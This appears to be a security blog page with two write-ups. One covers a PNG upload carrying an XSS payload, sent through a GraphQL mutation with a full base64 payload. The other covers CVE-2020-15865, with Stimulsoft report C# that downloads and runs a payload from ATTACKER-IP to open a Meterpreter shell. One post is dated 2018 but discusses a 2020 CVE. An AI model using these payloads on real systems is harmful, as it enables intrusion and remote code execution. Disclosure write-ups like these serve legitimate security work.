Showing posts with label base 64. Show all posts
Showing posts with label base 64. Show all posts

Saturday, January 17, 2026

PNG Image XSS + Unrestricted File Upload

Sometimes there are pesky scenarios where a site ostensibly only allows images to be uploaded, making RCE and XSS a bit more difficult. Normally, I fall back to SVG XSS, or GIFs which help hide executable code (but, in this case, the only allowed image type was PNG).

This attack chain is for a scenario where the content type and file extension validation logic can be bypassed such that the uploaded PNG (containing a specially crafted XSS payload) is processed as an HTML file. Here's an example:

We have a GraphQL endpoint that allows us to do an Introspection Query and find the upload functionality by interacting with the following mutation:

{"query":"\n        mutation uploadPNG(\n            $rawFile: String!, $id: String!, $fileTitle: String!,         ) {\n            uploadPNG(\n                rawFile: $rawFile, $myId: myIid, fileTitle: $fileTitle,            ) {\n                status\n                   }\n        }\n   ","variables":{"rawFile":"iVBOR....",

"myId":"988932","fileTitle":"mon_petit_fichier"}}

After some trial and error, it is clear that we can't simply upload a base-64 encoded HTML file (or some other helpful executable). We're going to have to work within the bounds of a valid PNG file. Since we're able to add a file extension to the title, and content type to the base-64 string, we'll do that to help control how the file is processed. 

I ask GPT about how PNG files are structured, and ask if there are any loopholes similar to how GIFs can contain valid PHP and still be a valid GIF. Sure enough, there is a place to add plain text in the PNG (it just has to follow the IEND tag). After some experiments, I find that the payload character count also has to be a multiple of four. So our payload is <script>alert(1337);</script>

Once we test that the file still displays as a valid PNG and encode it, we add the base-64 and a few other things to the HTTP request to the /graphql endpoint (specifically, "data:application/html;base64" in the data stream, and ".html" file extension in the fileTitle).

{"query":"\n        mutation uploadPNG(\n            $rawFile: String!, $id: String!, $fileTitle: String!,         ) {\n            uploadPNG(\n                rawFile: $rawFile, $myId: myIid, fileTitle: $fileTitle,            ) {\n                status\n                   }\n        }\n   ","variables":{"rawFile":"data:application/html;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAAXNSR0IArs4c6QAAAFBlWElmTU0AKgAAAAgAAgESAAMAAAABAAEAAIdpAAQAAAABAAAAJgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAABaADAAQAAAABAAAABQAAAABtdzLvAAABWWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iWE1QIENvcmUgNi4wLjAiPgogICA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogICAgICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczp0aWZmPSJodHRwOi8vbnMuYWRvYmUuY29tL3RpZmYvMS4wLyI+CiAgICAgICAgIDx0aWZmOk9yaWVudGF0aW9uPjE8L3RpZmY6T3JpZW50YXRpb24+CiAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgoZXuEHAAAAM0lEQVQIHWNkSPx/h4GBQRmI4YBJ7fMDFAGQDBNcGomBVZDlFo9s4OqD6ethCkPtZsYBAODQCef2DI8EAAAAAElFTkQ8c2NyaXB0PmFsZXJ0KDEzMzcpOzwvc2NyaXB0Pq5CYIIK",

"myId":"9889328394283491","fileTitle":"decoded_blue.html"}}

Without proper input sanitization on the server, the XSS will launch when the file is displayed.


Friday, November 23, 2018

CVE-2020-15865 - Reporting C# Serialization: Remote Code Execution

The Stimulsoft Reports 2013.1.1600.0 library has code execution built in by design, and can be used to fully compromise the application server running it. Buried in the XML of the report file is a base-64 encoded string that contains C# code that a user can edit, then re-encode, submit, and execute.

It's pretty clear that the code is compiled and run, because the comments say "generated code - do not modify."

... so, of course, let's modify it!

I have to do a lot of testing at this point to make sure that modifying the code doesn't completely break it. After all, I still need it to run, I just want it to also run my code! The application kept crashing as I tried importing other namespaces that I could use, such as one for writing to the operating system (using System.IO). Looks like some of this namespaces are blacklisted, which is smart. It's making it difficult for me to get in.

Eventually the one able to add, without causing errors, is using System.Diagnostics. Which means I can use Process() to start a cmd.exe process and then use a Powershell command to download a payload and get a command shell with Meterpreter. That's what I do. With the malicious changes (in red), it looks like:

<script>

using System.Diagnostics;

namespace Reports {

    public class New_Report : Stimulsoft.Report.StiReport
    {
        public New_Report()
        {
            this.InitializeComponent();
            Process c = newProcess();
            c.StartInfo.FileName = @"cmd.exe";
            c.StartInfo.Arguments = @"/c powershell Invoke-WebRequest -Uri http://ATTACKER-IP/scary.exe -Outfile C:\ProgramData\scary.exe";
            c.Start();

            Process c1 = new Process();
            c1.StartInfo.FileName = @"cmd.exe";
            c1.StartInfo.Arguments = @"/c C:\ProgramData\scary.exe";
            c1.Start();


        }
        
        #region StiReport Designer generated code - do not modify

            #endregion StiReport Designer generated code - do not modify

    }
}
</script>

Since this application is running as user NT AUTHORITY\SYSTEM, the Meterpreter shell returned to the attacker is also running as root.

Some disclaimers: it took a little discovery and trial and error to figure out that the server was running Windows, and which directory I would be able to download the payload to, permissions for executing Powershell scripts etc. Also, depending on how fast the download is, the attacker may have to download and execute the payload in two separate scripts.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15865